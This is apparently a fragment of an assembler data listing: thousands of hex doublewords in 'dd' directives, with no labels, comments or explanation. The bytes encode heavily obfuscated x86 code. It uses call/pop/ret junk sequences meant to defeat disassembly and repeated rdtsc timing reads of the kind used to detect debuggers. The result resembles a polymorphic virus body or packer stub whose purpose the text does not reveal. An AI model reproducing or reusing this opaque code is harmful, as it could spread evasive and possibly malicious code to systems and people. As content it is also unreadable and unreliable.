6030205h, 8BC28B50h, 8BC10318h dd 0D1C18B18h, 8BC203E8h, 0BD8B5818h, 60305B1h, 31AD9531h dd 0BD830603h, 6031D65h, 41840F00h, 31000000h, 30C5195h dd 0C5F78106h, 0B85497A9h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 47C35545h dd 8A9A29E0h, 1C8D8DDDh, 8906034Dh, 331098Dh, 0F8E1FF06h dd 21BDBD83h, 0F000603h, 4D984h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 339B9BC3h dd 839E4E8Ah, 321BDBDh, 840F0106h, 4C5h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 16h, 0B9C35646h, 0EE966C7h dd 3000000h, 0AC0A2EB2h, 953D8496h, 967AD5A6h, 0BDBD836Ah dd 3060321h, 451860Fh, 9D8B0000h, 6031C11h, 57006A60h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 0B49EB158h, 66DBB70Fh, 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 0A314A0C3h, 1FF6EC19h dd 950948CCh, 6032875h, 6A04E180h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 35FBC350h dd 7585893Fh, 0A060326h, 63840FC9h, 0E9000001h, 0Fh, 0BD1DF00Ch dd 0F31FC306h, 6F06D1F5h, 8B98287Fh, 313C185h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 9EBFC67Bh, 1C798533h, 6A0603h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 0CCAA8DC3h, 0C9E4CD65h dd 280D8D31h, 0E8900603h, 6, 29DA1DA7h, 0DF8BD61Ch, 0BB66505Bh dd 3190C75Bh, 322CD85h, 6A006A06h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 81A4C355h dd 6EF27F3h, 20BB6671h, 4FC46842h, 0F98AE7FEh, 3B240481h dd 6A1820B4h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 91BAC351h, 2E9CE0B4h, 95FF9F4Ch dd 6031405h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 0B9C35040h, 0BD23AD53h, 6032DD1h, 0BBC78166h, 34858910h dd 6A0606A7h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 0A95DC351h, 81669A8Eh, 801CFFCFh dd 40E9AFEFh, 6A000002h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 5955C353h, 3A629E37h dd 0E78166E6h, 858B2102h, 606A72Ch, 2A799D8Bh, 0C70603h dd 18h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh dd 0CC35343h, 0F64CD755h, 0B728CEBFh, 30B58B57h, 6A0606A7h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 145CC357h, 0A2D446CFh, 0B9CBD3F0h, 8D858BF9h dd 89060312h, 32875B5h, 1068906h, 30F8D9Dh, 0C1858B06h dd 6A060313h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 0DD46C356h, 0E5BD8B6Dh, 89060303h dd 30C59B5h, 4468906h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 9DC35141h, 70B7802Ch, 2379BD03h, 66960603h dd 0F50DE8Bh, 89h, 8B669600h, 0E38151F8h, 28C15DDCh, 2CB5FF5Bh dd 6A0606A7h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 6868C352h, 4E8C2h, 3FF0000h, 0FE8B001Fh dd 60525050h, 8E9h, 0B6CA6A00h, 780D2376h, 840F37h, 61000000h dd 11E8310Fh, 0B9000000h, 0A8FB0F25h, 43F57536h, 60BB5E27h dd 0A8BBE64Ah, 8B585A5Fh, 0BB042444h, 6D544C54h, 0BE8008Bh dd 0DF000000h, 0B1F19AF2h, 0EB139675h, 12E811EAh, 56000000h dd 85BD42ACh, 30A947E0h, 3829DE87h, 13DB93B8h, 5F6160DEh dd 2444895Fh, 0DA8B6604h, 57006A58h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0C55C7E3Ah dd 0B82F18F2h, 8DFB8B00h, 6A73485h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 24C345F1h dd 5074AF2Dh, 0F240489h, 687h, 819D8B00h, 0FF060311h, 3140595h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 39958942h, 0F060312h, 682h, 899D0900h, 61060312h dd 0BE70C381h, 85C76B17h, 60321BDh, 3, 8FDBD01h, 0BD830603h dd 606A734h, 2C840F00h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0F3A6C357h dd 8DB98452h, 0D98BE657h, 1DE9h, 5089B700h, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0B0F1EBC3h dd 1792E761h, 0C35B589h, 6A0603h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 14AAA5C3h, 0DE9h, 897C0500h dd 6FFF35BBh, 0C2D6EA9Eh, 8166189Dh, 66D592EBh, 0BD83D88Bh dd 60321BDh, 0D8850F03h, 0BF000003h, 3EB473A3h, 0A734BD83h dd 0F000606h, 3C684h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 0F88A4D25h, 34B5FFF8h dd 6A0606A7h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 0EABDC353h, 1CB9BD23h, 95FF0603h dd 6032E05h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 6FC35747h, 0C9B7E3E3h, 69EA73F4h, 0A728B58Bh, 0F520606h dd 580h, 5FD7BB00h, 0C75F6D35h, 1000106h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 307EC688h, 89478082h, 3110595h, 61BD2906h, 96060314h dd 427AE8BBh, 0FE8A5001h, 0D5950996h, 0FF060301h, 6A734B5h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 890FCFB1h, 6, 2E9D9D8Bh, 95FF0603h, 6032F19h dd 5880Fh, 81660000h, 667A74DFh, 8B6103BBh, 6A728B5h, 0FB8B6606h dd 311D858Bh, 6A0603h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 0E7DA3BC3h, 0CA438285h, 8BCA0D95h dd 30A299Dh, 0C4868906h, 1000000h, 3318195h, 0D1958B06h dd 6A060331h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 0EEF9C357h, 8B132E4Dh, 329FDBDh dd 4C28306h, 5D7DB3BBh, 20508902h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 0EBC35545h, 7F78166h, 0F3858D0Eh dd 0F0606BBh, 0BD89DEBFh, 6032ED5h, 0B88689h, 6AF80000h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 9589F6CEh, 6030425h, 0A734B5FFh, 81660606h dd 81CB37F7h, 0E827E7D7h, 0B195FF4Ch, 6A06031Ch, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 200C350h, 0B7C5F662h, 8F0F9644h, 0Dh, 7E8h, 5EA9700h dd 6C5B85A6h dd 6A96505Bh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 0D497C353h, 0D38B448Dh, 0F51F274h dd 68Ch, 39958900h, 0FF06031Ah, 6A734B5h, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0BF50A616h, 0FB59472h, 248D9D01h, 95FF0603h, 6031165h dd 68A0Fh, 0D7810000h, 2850313Dh, 1795BD83h, 0F000603h dd 3084h, 0B6B56000h, 830F5061h, 16h, 11E9h, 251C0600h dd 0BC073C74h, 2415629Bh, 32BB000Fh, 3489B528h, 45B58924h dd 81060301h, 0B3A352D7h, 34B5FF08h, 0F90606A7h, 66195FFh dd 0BF660603h, 0B5FF7F59h, 606A734h, 349BD89h, 95FF0603h dd 6030AE1h, 0FE9h, 77191C00h, 67AF1647h, 0D0BFF893h, 0A76ABEDBh dd 218DBD83h, 0F020603h, 6A84h, 499D8900h, 8B060332h, 301FD85h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 0AE9F4h, 86550000h, 0E4CF8259h, 7CB9B5C3h dd 6A0000C6h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 47EBC350h, 0DE94Ah, 80D60000h dd 7DF3874Bh, 0DCC54E93h, 0C74D4C64h, 330B985h, 6, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 894DC1C3h, 326CD85h, 3D858906h, 0E9060303h, 0FFFFF2C7h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 7FC35545h dd 92BBA041h, 0B05A9EBFh, 6800F5Ah, 89000000h, 32DB5BDh dd 0E9C18B06h, 7, 0D7B731C2h, 8D8A4EBEh, 3281185h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 6C59C8B8h, 0E7031C64h, 0D0BB6690h, 8B66508Ah, 6A90FAh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 0AE5785C3h, 0F3817244h, 0F895270h, 9589006Ah, 6031FBDh dd 8D89006Ah, 60323B1h, 5E9h, 43520000h, 858D891Ah, 60777DAh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 2DC35545h dd 8C739695h, 0BD8B5755h, 60323ADh, 20498D89h, 0C0830603h dd 0EE905h, 0D12A0000h, 480D736Dh, 1E3F2445h, 64B19E24h dd 0D88B6690h, 13E850h, 14720000h, 0E1FEFB75h, 0AA7107B7h dd 0D2C775B8h, 0C7A6979Eh, 6A905F8Dh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0B880C355h dd 1C98C78Bh, 0BF66006Ah, 6A62F0h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 26C35545h, 65D40F38h, 95FFBF45h dd 6030CC9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 0F3C35545h, 51BD8B23h, 8D060328h, 697478Dh, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 9F1AE1EBh, 237E08D1h, 3261DBDh, 6AD1FF06h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 0B4AC352h, 83D98B66h, 31E91BDh, 850F0106h, 9Eh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0EFC35646h, 0BB55E828h dd 26AE0F1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 32C35747h, 79AC434Ch, 31E4E60Dh, 31D619Dh, 60509006h dd 0F78B5250h, 890F310Fh, 0 dd 0CB8B585Ah, 2B609061h, 31C198Dh, 0F1958B06h, 6106031Bh dd 1CB195FFh, 6A0603h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 279492C3h, 0D1754A99h, 0A853CF81h dd 76E9540Ah, 0E800000Eh, 0 dd 0E4ED815Dh, 3060777h, 32F49BDh, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0D3B2E6F3h dd 3A16280Dh, 0F7816672h, 14E9AA82h, 90000000h, 6B750430h dd 11FE1D6h, 0C8B9595Fh, 0C5204D80h, 8D96B57Eh, 6888985h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 5D9589B2h, 90060330h, 26B75250h, 0BB66310Fh dd 585A3FFBh, 60535750h, 905B5F61h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 15h, 0BEC35747h, 35FF64F2h, 0 dd 8B661FB7h, 258964DAh, 0 dd 28B5BD89h, 85FF0603h, 6032A15h, 6AFF6AF5h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 0F4D3C353h, 830FB30Dh, 3, 0B7F9B70Fh, 0C5B5FF8Bh, 6A060323h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 0CF6EC351h, 95FFD470h, 6032015h, 11CE9h dd 55858900h, 0B0060330h, 0CDBD2300h, 0E906031Ah, 12h dd 0C5BAFDA6h, 9CC0A080h, 9BCA810Eh, 892B95A0h, 70E68608h dd 71E49FB3h, 0AAC1CF81h, 613C3657h, 0E3830Fh, 0FFC0000h dd 0BD89C8B6h, 6032511h, 6BAh, 0CE32BB00h, 0C18B73DEh dd 8B04E8C1h, 0E2F766FEh, 0C82B5AB3h, 5E9h, 0B7D1B400h dd 0BF66A577h, 0D18B650Fh, 15E6C781h, 0B5295CC5h, 6031E69h dd 6E9h, 0DD8D8900h, 8B060323h, 31C1D85h, 719D8B06h, 8306031Eh dd 0D38007C0h, 12E88Bh, 8AEC0000h, 0C500B961h, 8426E09Eh dd 0D0F20DCDh, 16EC3974h, 1F098D29h, 835B0603h, 9D8B00C0h dd 6033041h, 830FD03Bh, 0Ah, 54E9h, 1CEEBF00h, 8D8B2981h dd 60325CDh, 0E183B1B3h, 3E840F01h, 0E9000000h, 9, 0BF443131h dd 30FB370Ch, 0CDA583D9h, 0FE060325h, 58C0Fh, 81660000h dd 0E9BC74C7h, 8, 55A28302h, 99583B8Dh, 1C1D9589h, 8D090603h dd 60317ADh, 0E9h, 48B58D00h, 6A0606F0h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 42B8C356h dd 0BCBF8B51h, 13EA4AAh, 3177185h, 81006A06h, 0A801DFF7h dd 0B995FF6Eh, 2B06031Fh, 326619Dh, 49952906h, 0B9060304h dd 7D1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 3FC35242h, 0B086FAFCh, 0ACB9852Ch, 7E8h, 69FAA100h dd 356A3494h, 0CE9h, 5C350600h, 8970DA4Ah, 0FF3BDA17h dd 0E1835FD5h, 53006AFCh, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 0F50D4ECBh, 0A545ABCBh dd 0AE875h, 0F74E0000h, 471274B3h, 1AC5F48Bh, 10E8h, 4FC81E00h dd 97AD6AFCh, 2DB35EAFh, 0E1931E14h, 8B0F32h, 5F000000h dd 11E9FC5Bh, 6A000000h, 89988A8Dh, 9058CC8Fh, 0C2C694F3h dd 0CE6B4D2Dh, 2D159D8Bh, 0B80603h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 7994C355h, 83899E5h, 52BF7EEFh, 11E9h, 1AA2000h, 6146023Ch dd 2DDBF59Dh, 0C6E4244Ch, 2B5BB112h, 55006AD2h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 48C9461h, 3547AC11h dd 9D8BE1E3h, 6032651h, 0D1C233ADh, 83D003E8h, 0F47504E9h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 6AC35545h dd 20D698B1h, 0BF665634h, 0FBBFCF43h, 0D0BA947h, 88h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 55C35343h, 0E88C11E4h dd 11h, 330E5E6h, 0D22F725Bh, 37DB2776h, 0CB9BD300h, 0BF6650E1h dd 5F5B67BDh, 0D1958BF8h, 60060331h, 4E8CE881h, 0B58B3B90h dd 6030B25h, 0E18D8B61h, 9060301h, 32101BDh, 10E806h, 2DE00000h dd 0B75D83F3h, 0F81B4893h, 62702DF7h, 0BF66E80Ch, 505F1A70h dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 50006A58h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0C261A569h, 4E5BD8Bh, 6A0603h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 6CCAC8C3h, 780AF2EFh dd 65BD837Ah, 6031Dh, 70840Fh, 0BF660000h, 0B86416h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 0B328C352h, 0D9BA99B7h, 0A9B529F8h, 8D06031Ah dd 34D1C8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 0B2D70B17h, 53089CFAh, 605BFE8Bh dd 0AC4542BEh, 97BF660Bh, 0E1FF61FBh, 0CA9B589h, 0BD830603h dd 60321BDh, 0C840F00h, 9000004h, 322E98Dh, 0BDBD8306h dd 1060321h, 414840Fh, 14E90000h, 48000000h, 88ED4D27h dd 61E9CFDDh, 0AB2903DEh, 98489A33h, 83B964B7h, 321BDBDh dd 860F0306h, 3B8h, 0CE9h, 0DCCEEB00h, 0DD1C1EA7h, 0DD0846FBh dd 6A604Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 0EED8B1C3h, 0EAE3A87Eh, 8C66CA39h, 4E180D9h dd 99BD8B60h, 0E9060305h, 13h, 0B87382D5h, 6827BD04h, 0FAC6FCCBh dd 0B01AF848h, 61D4A2D0h, 840FC90Ah, 10Fh, 8BFFBF0Fh, 313C185h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 0AF8EE42Ch, 2BDFE50Fh, 890FE88Bh, 14h, 8E8h dd 33A4B800h, 0BD73A3Dh, 860F17h, 5F000000h, 1C798533h dd 6A0603h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 8A2A28C3h, 0D02926DFh, 0D0BF5605h, 5F4401D2h dd 8929B750h, 6A2404h, 5820Fh, 81660000h, 0F9E4C5CFh, 0DCDA0668h dd 0B352509Dh, 0E8310F82h, 0Ch, 0F9D8F285h, 2DD9C992h dd 839FFCD2h, 310F5250h, 5A5B585Ah, 24048158h, 624229F9h dd 13800Fh, 7E80000h, 0A8000000h, 1894DDF7h, 0B5896D31h dd 6031E61h, 595FF5Fh, 0B7060314h, 3485892Fh, 660606A7h dd 0F3E9DE8Bh, 6A000001h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 0A0AC350h, 0A4D1C360h dd 0D19D89FAh, 8B06031Fh, 6A72C85h, 0B1BD8B06h, 0C706030Fh dd 1800h, 11BD2900h, 8B06031Dh, 301C5BDh, 30B58B06h, 6A0606A7h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 0E9E5C357h, 0B0D2991Fh, 2A719D03h, 858B0603h dd 603128Dh, 13999501h, 6890603h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 89C35646h, 9228A9EFh, 0EC3681C2h dd 13C1858Bh, 0CDBB0603h, 8905A7CDh, 6A0446h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0FC7718C3h dd 0F1F9C9F2h, 50508856h, 2434895Fh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 19C35646h, 0B8B0Fh, 6E90000h dd 0B5000000h, 39D1DE7Fh, 2CB5FF67h, 6A0606A7h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 0D495C351h, 4E9BD0Bh, 71680603h, 815DAE1Eh, 1D8E2434h dd 6A5DB1h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 0C0D843C3h, 815B0824h, 860FAF8Dh, 3, 8DF98B66h dd 6A73485h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 0B8CBC42Bh, 0FE144D2Ch, 1B29BF44h dd 0B70F016Ch, 8A0F50FFh, 0 dd 6A240489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 0A5DEC351h, 71F3710h, 3350F0A9h dd 10E9h, 0D0793900h, 47346F75h, 72238D4Dh, 0B2883C67h dd 595FFF5h, 89060314h, 30ACD95h, 7C6CBF06h, 6A6173D7h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 1BFEC355h, 8D890106h, 6031C19h, 21BD85C7h dd 30603h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 0FE8C2C3h, 4C000000h, 0CD1320CBh dd 5848DA32h, 0C4D8B71Ch, 5BF5B026h, 0A734BD83h, 0F000606h dd 0B84h, 21E900h, 0B5010000h, 6032AE9h, 110C3050h, 1114400h dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 952BC355h, 4CE56A84h, 0B501AB1Ch, 6031F21h, 21BDBD83h dd 0F030603h, 47985h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 0B2B7A607h, 6984021Ah dd 5E98Eh, 0AB950000h, 0FC6C35Fh, 0BD83DFB7h, 606A734h dd 3B840F00h, 0BB000004h, 5E0F0587h, 0A734B5FFh, 6A0606h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0F574BCC3h, 0E78B982Ch, 8589BDACh, 6031291h, 95FFDE8Bh dd 6032E05h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 20C35545h, 1799BD8Bh, 0AE90603h, 0E1000000h, 22C9ADBCh dd 0CA225F04h, 28B58BFEh, 600606A7h, 8BCFB70Fh, 328CDB5h dd 6C76106h, 10001h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 6FC35242h, 0E8590DEAh, 14h, 1D4EDB00h dd 0EE3279BBh, 21C810D0h, 95CFB9A6h, 0A53405B0h, 0DD8F71BBh dd 66515B0Eh, 505BF88Bh, 8E78BB66h, 80243489h, 0B5FFECDFh dd 606A734h, 2C85BD31h, 95FF0603h, 6032F19h, 1E499D89h dd 0B58B0603h, 606A728h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 9AC35343h, 3B3B4FAh, 39D380ACh, 311D858Bh dd 6A0603h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 0B685E3C3h, 9BD891Fh, 89060326h, 0C486h dd 13E800h, 9030000h, 0D2A678E6h, 378EDC67h, 3B6628BDh dd 0F6BA74FBh, 7D8D890Dh, 5B060320h, 31D1958Bh, 6A0603h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 0E8DC56C3h, 12h, 0AA234591h, 0A434282h, 194F0BAFh, 326960F0h dd 810FDAFEh, 6, 2041B501h, 835B0603h, 6A04C2h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 0C09EA5C3h, 58F021AAh, 89B1EB80h, 9D032050h, 60317ADh dd 0BBF3858Dh, 9D8B0606h, 6030945h, 0B88689h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 90BA66C3h, 7D9D8BE5h, 6A060302h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0B9FB2EA5h dd 7036FD0Ah, 7E955h, 12830000h, 0D7E63EACh, 0EE927h, 83830000h dd 556A42Dh, 61B3D25Ah, 0A3752C80h, 0A734B5FFh, 9D8B0606h dd 6032949h, 0FFDE8B66h, 31CB195h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 5144FBEBh dd 0FAEF8166h, 60965B52h, 880FC28Bh, 12h, 0DE9h, 8847C900h dd 35627B57h, 8F2A6710h, 5061B367h, 168A0Fh, 11E90000h dd 7D000000h, 4CF82A46h, 0E82B4E01h, 0AC69E27Eh, 0BEC1CFFh dd 0FA8B6696h, 0A734B5FFh, 95890606h, 6032851h, 116595FFh dd 6A0603h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 858903C3h, 6032BF5h, 83DBBF0Fh, 31795BDh dd 840F0006h, 44h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 0CEC35646h, 56A81B18h, 502DE421h, 12E9h dd 0FA3D7300h, 0BF29CF1Dh, 5FBA6FDBh, 6F1B2D58h, 894A787Ah dd 0BD892434h, 6031F75h, 0A734B5FFh, 0FFF90606h, 3066195h dd 0EE906h, 52550000h, 6FF7AA06h, 8C9E3926h, 9575616h dd 34B5FFF8h, 660606A7h, 66CDA7BFh, 95FFD98Bh, 6030AE1h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 74C35646h dd 92E5B83Ah, 8E9601Dh, 41000000h, 4163238Ch, 503640DCh dd 8B0Fh, 615F0000h, 218DBD83h, 0F020603h, 5584h, 0FD858B00h dd 6A060301h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 94C8C350h, 0D88D2005h, 6A0000C6h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 6FFEC351h, 0C541CA27h, 3C8501C5h, 2359B589h dd 85C70603h, 60330B9h, 0 dd 27AFDF81h, 0BF663430h, 8AE91701h, 8BFFFFF2h, 31461BDh dd 68C0F06h, 33000000h, 325599Dh, 6AC18B06h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 0C137C350h, 11858DF9h, 6A060328h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 90A4C352h dd 10E85250h, 74000000h, 3AC2F56Ah, 327AE946h, 3C4C85D1h dd 0FD9F4BFh, 85h, 310F5F00h, 9050585Ah, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Ah, 0D6C35242h, 9E551DD8h dd 9D31E230h, 6033195h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 0DA0BDCC3h, 35DB9D57h dd 2EF19D29h, 6A0603h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 0FEC35747h, 596A70A5h, 0AF24355Eh, 698D89C5h dd 1060331h, 310618Dh, 0F0858D06h, 66060788h, 0E329CF81h dd 6005C083h, 8B4AF480h, 31E8D9Dh, 0E9906106h, 5, 0C29D5CB6h dd 616050D2h, 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 0A342A2FEh, 81A28AAFh, 0E4511DCBh dd 6A006A23h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 0A840C351h, 3DB589C5h, 81060326h dd 0B01CDDF7h, 6A006A63h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 64EC357h, 0C995FF9Eh dd 8B06030Ch, 718531D9h, 8D06031Eh, 697478Dh, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0FFA0F775h, 50006AD1h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 9E899h, 0F98A0000h, 52DD3D7Ch dd 0FA0F85Eh, 1985h, 13E800h, 5460000h, 0BB3F27CAh, 9F2AD753h dd 4B155321h, 0E05A83BAh, 835B5FC2h, 31E91BDh, 850F0106h dd 0A8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 0E1C35343h, 60026A60h, 9E8h, 3A683000h, 4A5E5454h dd 7E94D14h, 6F000000h, 54CF723Bh, 6658576Bh, 61FE1FB9h dd 13E85090h, 4F000000h, 9815CE42h, 6A242AFAh, 67D72605h dd 0B2C23DCBh, 905FD137h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 65C35040h, 0B195FF04h, 6A06031Ch, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 96ACC350h, 0A6953D84h, 0BB967AD5h, 5E40E482h, 0E61E9h dd 0E800h, 815D0000h, 788FAEDh, 0D3816606h, 6A03D0h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 0F95BA0C3h, 0A19589C3h, 0FC06032Dh, 8889858Dh, 6A0606h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 